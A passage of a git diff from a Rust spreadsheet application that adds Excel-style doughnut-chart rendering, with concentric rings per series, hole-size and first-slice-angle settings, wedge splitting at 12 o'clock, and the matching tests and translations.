{ + let mut idx: Vec = (0..vals.len()).collect(); + if idx.len() > cap { + // Partition descends by value, so the first `cap` entries are the largest ones. + idx.select_nth_unstable_by(cap - 1, |a, b| vals[*b].total_cmp(&vals[*a])); + idx.truncate(cap); + idx.sort_unstable(); + } + idx.into_iter().map(|j| (j, vals[j])).collect() +} + +/// One ring's geometry and separator stroke: the slices of a ring differ only in angle and colour. +struct Ring { + cx: f32, + cy: f32, + outer: f32, + inner: f32, + stroke: Option<(Rgba, f32)>, +} + +/// A wedge of `ring`, split at 12 o'clock when it crosses the end of the circle. +fn wedge(ctx: &mut Ctx, ring: &Ring, a0: f32, sweep: f32, fill: Rgba) { + let Ring { cx, cy, outer, inner, stroke } = *ring; + if sweep <= 1e-4 { + return; + } + // A slice that starts past 12 o'clock still has to be split against 12 o'clock, not against + // its unwrapped start: otherwise the half after TAU is drawn from 0 over its neighbours. + let a0 = a0.rem_euclid(TAU); + let a1 = a0 + sweep; + if a1 <= TAU { + ctx.out.push(Prim::Wedge { cx, cy, r_outer: outer, r_inner: inner, a0, a1, fill, stroke }); + return; + } + // The halves are filled without a stroke: each would outline its own radial edge at 12 + // o'clock, painting the white separator straight through the slice. + ctx.out.push(Prim::Wedge { cx, cy, r_outer: outer, r_inner: inner, a0, a1: TAU, fill, stroke: None }); + ctx.out.push(Prim::Wedge { cx, cy, r_outer: outer, r_inner: inner, a0: 0.0, a1: a1 - TAU, fill, stroke: None }); + if let Some((color, width)) = stroke { + // One outline for the whole slice: the outer and inner arcs run through 12 o'clock, and + // the two radial edges at the slice's own start and end close the path. + let arc = |r: f32, from: f32, to: f32| -> Vec<[f32; 2]> { + let steps = ((r.abs() * (to - from).abs() / 2.0).ceil() as usize).clamp(4, 512); + let at = |a: f32| [cx + r * a.sin(), cy - r * a.cos()]; + (0..=steps).map(|k| at(from + (to - from) * k as f32 / steps as f32)).collect() + }; + let mut pts = arc(outer, a0, a1); + if inner > 0.0 { + pts.extend(arc(inner, a1, a0)); + } else { + pts.push([cx, cy]); + } + let start = pts[0]; + pts.push(start); + ctx.out.push(Prim::Line { pts, color, width, dash: false }); + } +} + pub(super) fn pie(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx, inner: f32, names: bool) { let Some(s) = data.series.first() else { return }; let vals: Vec = s.values.iter().take(MAX_CATS).map(|v| v.map(f64::abs).unwrap_or(0.0)).collect(); @@ -176,14 +236,15 @@ pub(super) fn pie(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx, inne return; } let ri = r * inner; + let ring = Ring { cx, cy, outer: r, inner: ri, stroke: Some((WHITE, 1.5)) }; let f = Fmt::new(&s.number_format); - let mut a = 0.0f32; + let mut a = (chart.first_slice_angle % 360) as f32 * TAU / 360.0; let mut labels = Vec::new(); for (j, v) in vals.iter().enumerate() { let sweep = (*v / total) as f32 * TAU; if sweep > 1e-4 { let fill = point_color(data, j); - ctx.out.push(Prim::Wedge { cx, cy, r_outer: r, r_inner: ri, a0: a, a1: (a + sweep).min(TAU), fill, stroke: Some((WHITE, 1.5)) }); + wedge(ctx, &ring, a, sweep, fill); if (chart.data_labels || names) && vals.len() <= MAX_LABELS { let t = if names { cat_label(data, j) } else { f.format(s.values.get(j).copied().flatten().unwrap_or(0.0), None) }; let mid = a + sweep / 2.0; @@ -201,6 +262,82 @@ pub(super) fn pie(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx, inne } } +/// Excel's doughnut: every series is one concentric ring, the first series innermost (measured in +/// Excel: ring outer radii ≈0.83, 0.92 and 1.0 of the plot radius for series 1, 2 and 3). The hole +/// size and first slice angle come from the chart; each ring is scaled to its own total. +pub(super) fn doughnut(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) { + let nser = data.series.len().min(MAX_SERIES); + if nser == 0 { + return; + } + let (cx, cy) = (area.cx(), area.cy()); + let r = area.w.min(area.h) / 2.0 * 0.92; + if r < 2.0 { + return; + } + let hole = f32::from(chart.hole_size.clamp(10, 90)) / 100.0; + let ri = r * hole; + let thick = (r - ri) / nser as f32; + // A ring thinner than a pixel would vanish. Rather than suppressing the whole chart when there + // are more series than the annulus has pixels, keep the outer rings at one pixel each and drop + // the innermost series that no longer fit: Excel's order makes the first series the innermost, + // so the outermost rings are the ones worth keeping. + let band = thick.max(1.0); + let start = (chart.first_slice_angle % 360) as f32 * TAU / 360.0; + // Only rings with a pixel of band are drawn, and the wedge budget is shared across them in + // drawing order: the innermost ring (the first series) gets its slices first, and the outer + // rings are capped instead of the series × category product growing without bound. + let rings: Vec<(&SeriesData, f32, f32)> = data + .series + .iter() + .take(nser) + .enumerate() + .filter_map(|(si, s)| { + let outer = (r - (nser - 1 - si) as f32 * band).min(r); + let inner = (r - (nser - si) as f32 * band).max(ri); + (outer - inner >= 1.0).then_some((s, outer, inner)) + }) + .collect(); + let mut budget = MAX_WEDGES; + let mut labels = Vec::new(); + for (k, (s, outer, inner)) in rings.iter().enumerate() { + // The white separator is 1.5 units wide, wider than a one-pixel band: on a thin ring it + // would paint over the fill of this ring and its neighbour, so such rings keep only fill. + let stroke = if outer - inner > 1.0 { Some((WHITE, 1.5)) } else { None }; + let ring = Ring { cx, cy, outer: *outer, inner: *inner, stroke }; + let vals: Vec = s.values.iter().take(MAX_CATS).map(|v| v.map(f64::abs).unwrap_or(0.0)).collect(); + let cap = (budget / (rings.len() - k)).max(1); + let slices = largest_slices(&vals, cap); + let total: f64 = slices.iter().map(|(_, v)| *v).sum(); + if !(total.is_finite() && total > 0.0) { + continue; + } + let n = slices.len(); + budget = budget.saturating_sub(n); + let f = Fmt::new(&s.number_format); + let mut a = start; + for (j, v) in slices { + let sweep = (v / total) as f32 * TAU; + if sweep > 1e-4 { + let fill = point_color(data, j); + wedge(ctx, &ring, a, sweep, fill); + if chart.data_labels && n <= MAX_LABELS { + let t = f.format(s.values.get(j).copied().flatten().unwrap_or(0.0), None); + let mid = a + sweep / 2.0; + let rr = (outer + inner) / 2.0; + if ctx.tw(&t, LABEL_SIZE) <= (sweep * rr).max(outer - inner) && sweep * rr >= LABEL_SIZE { + labels.push((cx + rr * mid.sin(), cy - rr * mid.cos(), t, on(fill))); + } + } + } + a += sweep; + } + } + for (x, y, t, c) in labels { + ctx.text(x, y, &t, LABEL_SIZE, c, (HAlign::Center, VAlign::Middle)); + } +} + // ---------------------------------------------------------------- treemap /// Worst aspect ratio of a row with the given sum, smallest and largest area. diff --git a/crates/chart/src/render/legend.rs b/crates/chart/src/render/legend.rs index 5ddb5a3cd..5b7f5d4d9 100644 --- a/crates/chart/src/render/legend.rs +++ b/crates/chart/src/render/legend.rs @@ -42,6 +42,8 @@ pub fn legend_entries(chart: &Chart, data: &ChartData) -> Vec<(String, Rgba, Swa return vec![]; } match chart.kind { + // Pie, doughnut (Excel's default `varyColors=1`, so every ring repeats the category colours + // and the legend names categories rather than series), treemap and sunburst. ChartKind::Pie | ChartKind::Doughnut | ChartKind::Treemap | ChartKind::Sunburst => { let n = first_len(data).min(MAX_CATS); (0..n).map(|j| (cat_label(data, j), point_color(data, j), Swatch::Box)).collect() diff --git a/crates/chart/src/tests.rs b/crates/chart/src/tests.rs index 6e423802c..11e2756ca 100644 --- a/crates/chart/src/tests.rs +++ b/crates/chart/src/tests.rs @@ -48,6 +48,8 @@ fn chart(kind: ChartKind) -> Chart { data_table: None, gridlines: true, style: 0, + hole_size: 75, + first_slice_angle: 0, x_title: Some("Quarter".into()), y_title: Some("Revenue".into()), source: None, @@ -149,6 +151,317 @@ fn every_kind_renders_sanely() { } } +#[test] +fn doughnut_draws_each_series_as_a_ring() { + let mut c = chart(ChartKind::Doughnut); + c.title = None; + c.legend = LegendPos::None; + c.data_labels = false; + c.hole_size = 25; + c.first_slice_angle = 0; + let d = ChartData { + category_levels: vec![], + palette: vec![], + categories: ["A", "B", "C"].iter().map(|s| s.to_string()).collect(), + series: vec![ + series("Inner", &[1.0, 2.0, 3.0], [20, 96, 130, 255], ChartKind::Doughnut), + series("Middle", &[3.0, 2.0, 1.0], [221, 132, 82, 255], ChartKind::Doughnut), + series("Outer", &[1.0, 1.0, 1.0], [89, 161, 79, 255], ChartKind::Doughnut), + ], + }; + let prims = render(&c, &d, 640.0, 400.0, &ApproxMeasure); + let wedges: Vec<(f32, f32, f32)> = prims + .iter() + .filter_map(|p| match p { + Prim::Wedge { r_outer, r_inner, a0, .. } => Some((*r_outer, *r_inner, *a0)), + _ => None, + }) + .collect(); + assert_eq!(wedges.len(), 9, "three rings of three slices"); + // Excel draws the first series as the innermost ring; the hole is 25% of the radius. + assert!(wedges[0].0 < wedges[3].0 && wedges[3].0 < wedges[6].0, "{wedges:?}"); + assert!(wedges[0].1 > 0.0, "hole: {wedges:?}"); +} + +#[test] +fn doughnut_with_many_series_still_draws_the_outer_rings() { + let mut c = chart(ChartKind::Doughnut); + c.title = None; + c.legend = LegendPos::None; + c.data_labels = false; + c.hole_size = 75; + // The annulus is a few dozen pixels tall and there are far more series than pixels, so every + // ring is thinner than 1 px. The chart used to draw nothing at all. + let many = ChartData { + category_levels: vec![], + palette: vec![], + categories: ["A", "B"].iter().map(|s| s.to_string()).collect(), + series: (0..255).map(|i| series(&format!("S{i}"), &[1.0, 1.0], [20, 96, 130, 255], ChartKind::Doughnut)).collect(), + }; + let single = ChartData { + category_levels: vec![], + palette: vec![], + categories: ["A", "B"].iter().map(|s| s.to_string()).collect(), + // Two series, so the title fallback (a lone series names the chart) does not shrink the plot. + series: vec![ + series("Only", &[1.0, 1.0], [20, 96, 130, 255], ChartKind::Doughnut), + series("Other", &[1.0, 1.0], [221, 132, 82, 255], ChartKind::Doughnut), + ], + }; + let (w, h) = (640.0, 400.0); + let radii = |d: &ChartData| -> Vec { + render(&c, d, w, h, &ApproxMeasure) + .iter() + .filter_map(|p| match p { + Prim::Wedge { r_outer, .. } => Some(*r_outer), + _ => None, + }) + .collect() + }; + let outer = radii(&many); + assert!(!outer.is_empty(), "a sub-pixel ring must not suppress the whole chart"); + let mut distinct = outer.clone(); + distinct.sort_by(f32::total_cmp); + distinct.dedup(); + assert!(distinct.len() > 8, "only {} rings drawn", distinct.len()); + assert!(distinct.len() < 255, "too many rings for the pixels available: {}", distinct.len()); + // The outermost ring still reaches the plot radius the single-ring chart uses. + let r = radii(&single).into_iter().fold(0.0f32, f32::max); + let drawn = distinct.last().copied().unwrap_or(0.0); + assert!((drawn - r).abs() < 0.01, "outermost ring {drawn} of {r}"); +} + +#[test] +fn doughnut_one_pixel_rings_skip_the_separator_stroke() { + let mut c = chart(ChartKind::Doughnut); + c.title = None; + c.legend = LegendPos::None; + c.data_labels = false; + c.hole_size = 75; + // 255 series over a 46-pixel annulus: every drawn ring is one pixel tall, narrower than the + // 1.5-pixel white separator, which would otherwise paint over both neighbouring rings. + let thin = ChartData { + category_levels: vec![], + palette: vec![], + categories: ["A", "B"].iter().map(|s| s.to_string()).collect(), + series: (0..255).map(|i| series(&format!("S{i}"), &[1.0, 1.0], [20, 96, 130, 255], ChartKind::Doughnut)).collect(), + }; + let strokes: Vec> = render(&c, &thin, 640.0, 400.0, &ApproxMeasure) + .iter() + .filter_map(|p| match p { + Prim::Wedge { stroke, .. } => Some(*stroke), + _ => None, + }) + .collect(); + assert!(!strokes.is_empty(), "the chart must still draw its rings"); + assert!(strokes.iter().all(Option::is_none), "a 1.5px stroke covers a 1px band: {strokes:?}"); + + // A ring with room for the separator keeps it. + let thick = ChartData { + category_levels: vec![], + palette: vec![], + categories: ["A", "B"].iter().map(|s| s.to_string()).collect(), + series: vec![ + series("Inner", &[1.0, 1.0], [20, 96, 130, 255], ChartKind::Doughnut), + series("Outer", &[1.0, 1.0], [221, 132, 82, 255], ChartKind::Doughnut), + ], + }; + let strokes: Vec> = render(&c, &thick, 640.0, 400.0, &ApproxMeasure) + .iter() + .filter_map(|p| match p { + Prim::Wedge { stroke, .. } => Some(*stroke), + _ => None, + }) + .collect(); + assert!(!strokes.is_empty()); + assert!(strokes.iter().all(Option::is_some), "wide rings keep their separators: {strokes:?}"); +} + +#[test] +fn doughnut_wedge_budget_bounds_many_series_and_categories() { + let mut c = chart(ChartKind::Doughnut); + c.title = None; + c.legend = LegendPos::None; + c.data_labels = false; + c.hole_size = 75; + c.first_slice_angle = 0; + // 20,000 categories across 80 series would be hundreds of thousands of wedges: the per-series + // limit does not bound the product. The first ten categories of every ring are the largest. + let cats = 20_000usize; + let values: Vec = (0..cats).map(|j| if j < 10 { 1000.0 } else { 1.0 }).collect(); + let d = ChartData { + category_levels: vec![], + palette: vec![], + categories: (0..cats).map(|j| format!("C{j}")).collect(), + series: (0..80) + .map(|i| SeriesData { name: format!("S{i}"), values: values.iter().map(|v| Some(*v)).collect(), ..SeriesData::default() }) + .collect(), + }; + let wedges: Vec<(f32, f32)> = render(&c, &d, 640.0, 400.0, &ApproxMeasure) + .iter() + .filter_map(|p| match p { + Prim::Wedge { r_outer, a0, a1, .. } => Some((*r_outer, *a1 - *a0)), + _ => None, + }) + .collect(); + assert!(!wedges.is_empty(), "the innermost ring must still be drawn"); + let mut radii: Vec = wedges.iter().map(|(r, _)| *r).collect(); + radii.sort_by(f32::total_cmp); + radii.dedup(); + assert!(radii.len() > 1, "every drawable ring is capped, not dropped"); + // A slice crossing 12 o'clock is split into two primitives, so each ring may add one. + let budget = crate::render::MAX_WEDGES + radii.len(); + assert!(wedges.len() <= budget, "{} wedges for {} rings", wedges.len(), radii.len()); + + // The first (innermost) ring keeps its largest slices and still fills the circle. + let inner: Vec = wedges.iter().filter(|(r, _)| *r == radii[0]).map(|(_, a)| *a).collect(); + assert!(inner.len() < cats, "the ring was not capped: {}", inner.len()); + assert_eq!(inner.iter().filter(|a| **a > 0.1).count(), 10, "largest slices went missing"); + let cover: f32 = inner.iter().sum(); + assert!((cover - std::f32::consts::TAU).abs() < 0.01, "first ring covers {cover}"); +} + +#[test] +fn doughnut_first_slice_angle_rotates_the_start() { + let mut c = chart(ChartKind::Doughnut); + c.title = None; + c.legend = LegendPos::None; + c.first_slice_angle = 90; + let d = ChartData { + category_levels: vec![], + palette: vec![], + categories: ["A", "B"].iter().map(|s| s.to_string()).collect(), + series: vec![series("Only", &[1.0, 1.0], [20, 96, 130, 255], ChartKind::Doughnut)], + }; + let prims = render(&c, &d, 640.0, 400.0, &ApproxMeasure); + let first = prims.iter().find_map(|p| match p { + Prim::Wedge { a0, .. } => Some(*a0), + _ => None, + }); + assert!(first.is_some_and(|a| (a - std::f32::consts::FRAC_PI_2).abs() < 0.01), "{first:?}"); +} + +/// Every slice must occupy exactly its angular share, even when the first slice angle pushes the +/// start past 12 o'clock (the split at TAU used to put whole slices over their neighbours). +#[test] +fn rotated_wedges_cover_each_slice_once_without_overlap() { + const TAU: f32 = std::f32::consts::TAU; + for kind in [ChartKind::Doughnut, ChartKind::Pie] { + for angle in [180u16, 270] { + let mut c = chart(kind); + c.title = None; + c.legend = LegendPos::None; + c.data_labels = false; + c.first_slice_angle = angle; + let d = ChartData { + category_levels: vec![], + palette: vec![[230, 126, 34, 255], [39, 174, 96, 255], [142, 68, 173, 255]], + categories: ["A", "B", "C", "D"].iter().map(|s| s.to_string()).collect(), + series: vec![series("Only", &[1.0; 4], [20, 96, 130, 255], kind)], + }; + let prims = render(&c, &d, 640.0, 400.0, &ApproxMeasure); + let wedges: Vec<(f32, f32)> = prims + .iter() + .filter_map(|p| match p { + Prim::Wedge { a0, a1, .. } => Some((*a0, *a1)), + _ => None, + }) + .collect(); + assert!(wedges.len() >= 4, "{kind:?} at {angle}: {wedges:?}"); + for (a0, a1) in &wedges { + assert!((0.0..TAU).contains(a0), "{kind:?} at {angle}: start {a0} outside [0, TAU)"); + assert!(*a1 > *a0 && *a1 <= TAU + 1e-4, "{kind:?} at {angle}: bad sweep {a0}..{a1}"); + } + // Sample away from the boundaries: a correct four-slice chart covers every angle once. + let steps = 1440; + for k in 0..steps { + let theta = (k as f32 + 0.5) * TAU / steps as f32; + let cover = wedges.iter().filter(|(a0, a1)| theta >= *a0 && theta < *a1).count(); + assert_eq!(cover, 1, "{kind:?} at {angle}: {theta} covered {cover} times by {wedges:?}"); + } + } + } +} + +/// A slice that crosses 12 o'clock is filled as two halves but outlined once: stroking each half +/// separately ran the white separator along the shared radial edge, straight through the slice. +#[test] +fn slice_crossing_twelve_has_no_internal_seam() { + const TAU: f32 = std::f32::consts::TAU; + let mut c = chart(ChartKind::Pie); + c.title = None; + c.legend = LegendPos::None; + c.data_labels = false; + c.first_slice_angle = 90; + let a = [230, 126, 34, 255]; + let b = [39, 174, 96, 255]; + let d = ChartData { + category_levels: vec![], + palette: vec![a, b], + categories: ["A", "B"].iter().map(|s| s.to_string()).collect(), + series: vec![series("Only", &[1.0, 1.0], a, ChartKind::Pie)], + }; + let (w, h) = (400u32, 400u32); + let prims = render(&c, &d, w as f32, h as f32, &ApproxMeasure); + // The second slice starts at 270° and wraps past 0°, so it is drawn as two unstroked halves. + let mut halves = 0; + let mut cx = 0.0; + let mut cy = 0.0; + let mut r = 0.0; + for p in &prims { + if let Prim::Wedge { cx: x, cy: y, r_outer, a0, a1, fill, stroke, .. } = p + && *fill == b + { + assert!(stroke.is_none(), "a split half must not stroke its shared edge: {p:?}"); + assert!(*a0 == 0.0 || *a1 == TAU, "the crossing slice is split at 12 o'clock: {p:?}"); + halves += 1; + (cx, cy, r) = (*x, *y, *r_outer); + } + } + assert_eq!(halves, 2, "one slice crosses 12 o'clock"); + // Exactly one outline covers the whole crossing slice, drawn as line primitives. + assert_eq!(prims.iter().filter(|p| matches!(p, Prim::Line { color, .. } if *color == [255, 255, 255, 255])).count(), 1, "{prims:?}"); + // No white pixel inside the slice along 12 o'clock, where the shared edge used to be stroked. + let img = rasterize(&prims, w, h, [255, 255, 255, 255]); + for t in [0.3f32, 0.5, 0.7] { + assert_eq!(pixel(&img, w, cx as u32, (cy - r * t) as u32), b, "white seam at {t} of the slice"); + } +} + +#[test] +fn doughnut_legend_names_categories_and_matches_every_ring() { + let mut c = chart(ChartKind::Doughnut); + c.title = None; + c.data_labels = false; + c.legend = LegendPos::Right; + c.first_slice_angle = 180; + let d = ChartData { + category_levels: vec![], + palette: vec![[230, 126, 34, 255], [39, 174, 96, 255], [142, 68, 173, 255]], + categories: ["A", "B", "C", "D"].iter().map(|s| s.to_string()).collect(), + series: vec![ + series("Outer", &[1.0; 4], [20, 96, 130, 255], ChartKind::Doughnut), + series("Inner", &[1.0; 4], [221, 132, 82, 255], ChartKind::Doughnut), + ], + }; + let entries = legend_entries(&c, &d); + assert_eq!(entries.iter().map(|(name, _, _)| name.as_str()).collect::>(), ["A", "B", "C", "D"]); + + let start = f32::from(c.first_slice_angle) * std::f32::consts::TAU / 360.0; + let prims = render(&c, &d, 640.0, 400.0, &ApproxMeasure); + let mut rings = Vec::new(); + for p in &prims { + let Prim::Wedge { r_outer, a0, a1, fill, .. } = p else { continue }; + rings.push(*r_outer); + let rel = ((a0 + a1) / 2.0 - start).rem_euclid(std::f32::consts::TAU); + let cat = ((rel / (std::f32::consts::TAU / 4.0)) as usize).min(3); + assert_eq!(*fill, entries[cat].1, "ring wedge at {a0}..{a1} does not match legend entry {}", entries[cat].0); + } + rings.sort_by(f32::total_cmp); + rings.dedup(); + assert_eq!(rings.len(), 2, "two series must draw two rings"); +} + #[test] fn legend_counts() { let d = sample(ChartKind::ColumnClustered); @@ -461,7 +774,11 @@ fn pie_starts_at_twelve_clockwise() { assert!(wedges.windows(2).all(|w| w[1].0 >= w[0].1 - 1e-4)); assert!((wedges[5].1 - std::f32::consts::TAU).abs() < 1e-3); assert!(wedges.iter().all(|w| w.2 == 0.0 && w.3.map(|s| s.0) == Some([255; 4]))); - let prims = render(&chart(ChartKind::Doughnut), &d, 400.0, 400.0, &ApproxMeasure); + let mut c = chart(ChartKind::Doughnut); + c.hole_size = 50; + let mut d = sample(ChartKind::Doughnut); + d.series.truncate(1); + let prims = render(&c, &d, 400.0, 400.0, &ApproxMeasure); let ok = prims.iter().any(|p| matches!(p, Prim::Wedge { r_outer, r_inner, .. } if (r_inner / r_outer - 0.5).abs() < 1e-3)); assert!(ok); } diff --git a/crates/engine/src/cmd/forecast.rs b/crates/engine/src/cmd/forecast.rs index 3c62e469f..d0941a9ca 100644 --- a/crates/engine/src/cmd/forecast.rs +++ b/crates/engine/src/cmd/forecast.rs @@ -427,6 +427,8 @@ fn forecast_sheet(s: &mut Session, p: &Json) -> Result { data_table: None, gridlines: true, style: 1, + hole_size: 75, + first_slice_angle: 0, x_title: None, y_title: None, source: None, diff --git a/crates/engine/src/cmd/insert.rs b/crates/engine/src/cmd/insert.rs index 68fb46505..d832ecddf 100644 --- a/crates/engine/src/cmd/insert.rs +++ b/crates/engine/src/cmd/insert.rs @@ -99,7 +99,7 @@ pub fn specs() -> Vec { "Chart Properties", ["Chart Design"], None, - "{chart?: id, type?, subtype?, title?, legend?: none|bottom|top|left|right, dataLabels?, gridlines?, dataTable?: bool, dataTableKeys?: bool, dataTableHorizontalBorder?: bool, dataTableVerticalBorder?: bool, dataTableOutline?: bool (data tables: column/bar/line/area and compatible combo charts), quartiles?: exclusive|inclusive, style?, xTitle?, yTitle?, at?, width?, height?, dx?, dy?}", + "{chart?: id, type?, subtype?, title?, legend?: none|bottom|top|left|right, dataLabels?, gridlines?, dataTable?: bool, dataTableKeys?: bool, dataTableHorizontalBorder?: bool, dataTableVerticalBorder?: bool, dataTableOutline?: bool (data tables: column/bar/line/area and compatible combo charts), quartiles?: exclusive|inclusive, style?, holeSize?, firstSliceAngle?, xTitle?, yTitle?, at?, width?, height?, dx?, dy?}", has_doc, chart_set ), @@ -850,6 +850,8 @@ pub fn build_chart(s: &Session, p: &Json) -> Result<(usize, Chart)> { data_table: None, gridlines: !matches!(kind, ChartKind::Pie | ChartKind::Doughnut | ChartKind::Treemap | ChartKind::Sunburst | ChartKind::Funnel), style: 1, + hole_size: 75, + first_slice_angle: 0, x_title: None, y_title: None, source: (areas.len() == 1).then(|| format!("{}!{}", gridcraft_formula::quote_sheet(&sh.name), bounds.a1())), @@ -926,6 +928,12 @@ fn chart_set(s: &mut Session, p: &Json) -> Result { if let Some(v) = u32_param(p, "style") { c.style = v.clamp(1, 16); } + if let Some(v) = u32_param(p, "holeSize") { + c.hole_size = v.clamp(10, 90) as u8; + } + if let Some(v) = u32_param(p, "firstSliceAngle") { + c.first_slice_angle = (v % 360) as u16; + } if let Some(t) = p.get("xTitle") { c.x_title = t.as_str().map(str::to_string); } diff --git a/crates/engine/src/cmd/pivot/charts.rs b/crates/engine/src/cmd/pivot/charts.rs index d7a3b73b1..5551c4d56 100644 --- a/crates/engine/src/cmd/pivot/charts.rs +++ b/crates/engine/src/cmd/pivot/charts.rs @@ -67,6 +67,8 @@ pub(super) fn insert_pivot_chart(s: &mut Session, p: &Json) -> Result { data_labels: false, data_table: None, gridlines: !matches!(kind, ChartKind::Pie | ChartKind::Doughnut | ChartKind::Treemap | ChartKind::Sunburst | ChartKind::Funnel), + hole_size: 75, + first_slice_angle: 0, style: 1, x_title: None, y_title: None, diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index 90f6691bd..ab443bbe6 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -3237,6 +3237,21 @@ fn every_chart_kind_survives_xlsx() { } } +#[test] +fn chart_set_doughnut_hole_and_angle() { + let mut s = s(); + chart_data(&mut s); + s.execute("insert.chart", json!({"type": "doughnut", "range": "A1:B7"})).unwrap(); + s.execute("chart.set", json!({"holeSize": 5, "firstSliceAngle": 400})).unwrap(); + s.execute("chart.set", json!({"holeSize": 200})).unwrap(); + let c = s.doc().unwrap().wb.active().unwrap().charts[0].clone(); + assert_eq!((c.hole_size, c.first_slice_angle), (90, 40)); + s.execute("chart.set", json!({"holeSize": 25, "firstSliceAngle": 180})).unwrap(); + reopen(&mut s); + let c = &s.doc().unwrap().wb.active().unwrap().charts[0]; + assert_eq!((c.kind, c.hole_size, c.first_slice_angle), (gridcraft_model::ChartKind::Doughnut, 25, 180)); +} + #[test] fn scatter_of_two_columns_is_one_series_with_the_first_as_x() { let mut s = s(); diff --git a/crates/model/src/features.rs b/crates/model/src/features.rs index a36fcef1e..06e68839f 100644 --- a/crates/model/src/features.rs +++ b/crates/model/src/features.rs @@ -540,6 +540,12 @@ impl Trendline { } } +/// Charts saved before `hole_size` existed were drawn with a 50% hole. New charts and charts read +/// from XLSX set 75 explicitly (Excel's default), so only a missing JSON field keeps the old look. +fn default_hole_size() -> u8 { + 50 +} + /// A chart's data table (`c:dTable`), independent of the chart legend. #[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)] #[serde(default)] @@ -569,6 +575,13 @@ pub struct Chart { pub data_table: Option, pub gridlines: bool, pub style: u32, + /// Doughnut hole size as a percentage of the plot radius (Excel's 10–90 range). New charts and + /// XLSX imports use Excel's 75; a document saved before this field existed reads as 50. + #[serde(default = "default_hole_size")] + pub hole_size: u8, + /// Pie/doughnut first slice angle in degrees clockwise from 12 o'clock (0–359). + #[serde(default)] + pub first_slice_angle: u16, pub x_title: Option, pub y_title: Option, /// Source range when created from a selection (for Switch Row/Column). @@ -1088,6 +1101,39 @@ mod trendline_forecast_tests { } } +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn chart_without_hole_size_keeps_the_legacy_hole() { + let chart = Chart { + id: 1, + kind: ChartKind::Doughnut, + anchor: Anchor::default(), + title: None, + series: vec![], + legend: LegendPos::Right, + data_labels: false, + data_table: None, + gridlines: false, + style: 1, + hole_size: 75, + first_slice_angle: 0, + x_title: None, + y_title: None, + source: None, + by_rows: false, + pivot: None, + }; + let mut json = serde_json::to_value(&chart).expect("serialize chart"); + json.as_object_mut().expect("chart object").remove("hole_size"); + let legacy: Chart = serde_json::from_value(json).expect("deserialize legacy chart"); + assert_eq!(legacy.hole_size, 50, "documents saved before hole_size existed keep the old 50% hole"); + assert_eq!(chart.hole_size, 75, "new charts keep Excel's 75% default"); + } +} + #[cfg(test)] mod equation_cache_tests { use super::{EquationCache, source_key}; diff --git a/crates/model/src/sheet.rs b/crates/model/src/sheet.rs index 961c0d583..67ca1f13e 100644 --- a/crates/model/src/sheet.rs +++ b/crates/model/src/sheet.rs @@ -831,6 +831,8 @@ mod tests { data_table: None, gridlines: false, style: 0, + hole_size: 75, + first_slice_angle: 0, x_title: None, y_title: None, source: None, diff --git a/crates/ui-egui/src/i18n/cs.rs b/crates/ui-egui/src/i18n/cs.rs index b0c648946..58d308413 100644 --- a/crates/ui-egui/src/i18n/cs.rs +++ b/crates/ui-egui/src/i18n/cs.rs @@ -390,6 +390,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Legend: Bottom" => "Legenda: dole", "Legend: Top" => "Legenda: nahoře", "Legend: Right" => "Legenda: vpravo", + "First slice angle" => "Úhel prvního výseku", + "Doughnut hole size" => "Velikost otvoru prstence", "Gridlines: None" => "Mřížka: žádná", "Gridlines: Show" => "Mřížka: zobrazit", "Chart\nTitle" => "Název\ngrafu", diff --git a/crates/ui-egui/src/i18n/de.rs b/crates/ui-egui/src/i18n/de.rs index 9bc5cb6ff..2e6ba713f 100644 --- a/crates/ui-egui/src/i18n/de.rs +++ b/crates/ui-egui/src/i18n/de.rs @@ -407,6 +407,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Legend: Bottom" => "Legende: Unten", "Legend: Top" => "Legende: Oben", "Legend: Right" => "Legende: Rechts", + "First slice angle" => "Winkel des ersten Segments", + "Doughnut hole size" => "Größe des Ringlochs", "Gridlines: None" => "Gitternetzlinien: Keine", "Gridlines: Show" => "Gitternetzlinien: Anzeigen", "Chart\nTitle" => "Diagramm-\ntitel", diff --git a/crates/ui-egui/src/i18n/el.rs b/crates/ui-egui/src/i18n/el.rs index d21c631a0..218fa5a6f 100644 --- a/crates/ui-egui/src/i18n/el.rs +++ b/crates/ui-egui/src/i18n/el.rs @@ -353,6 +353,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Legend: Bottom" => "Υπόμνημα: κάτω", "Legend: Top" => "Υπόμνημα: επάνω", "Legend: Right" => "Υπόμνημα: δεξιά", + "First slice angle" => "Γωνία πρώτης φέτας", + "Doughnut hole size" => "Μέγεθος οπής ντόνατ", "Gridlines: None" => "Γραμμές πλέγματος: καμία", "Gridlines: Show" => "Γραμμές πλέγματος: εμφάνιση", "Chart\nTitle" => "Τίτλος\nγραφήματος", diff --git a/crates/ui-egui/src/i18n/es.rs b/crates/ui-egui/src/i18n/es.rs index 98b2410dd..b6adcf774 100644 --- a/crates/ui-egui/src/i18n/es.rs +++ b/crates/ui-egui/src/i18n/es.rs @@ -394,6 +394,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Legend: Bottom" => "Leyenda: abajo", "Legend: Top" => "Leyenda: arriba", "Legend: Right" => "Leyenda: derecha", + "First slice angle" => "Ángulo del primer sector", + "Doughnut hole size" => "Tamaño del orificio del anillo", "Gridlines: None" => "Líneas de cuadrícula: ninguna", "Gridlines: Show" => "Líneas de cuadrícula: mostrar", "Chart\nTitle" => "Título\ndel gráfico", diff --git a/crates/ui-egui/src/i18n/fr.rs b/crates/ui-egui/src/i18n/fr.rs index 1a9aa3bbe..e11ef4599 100644 --- a/crates/ui-egui/src/i18n/fr.rs +++ b/crates/ui-egui/src/i18n/fr.rs @@ -273,6 +273,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Legend: Bottom" => "Légende : Bas", "Legend: Top" => "Légende : Haut", "Legend: Right" => "Légende : Droite", + "First slice angle" => "Angle du premier secteur", + "Doughnut hole size" => "Taille du trou de l'anneau", "Gridlines: None" => "Quadrillage : Aucun", 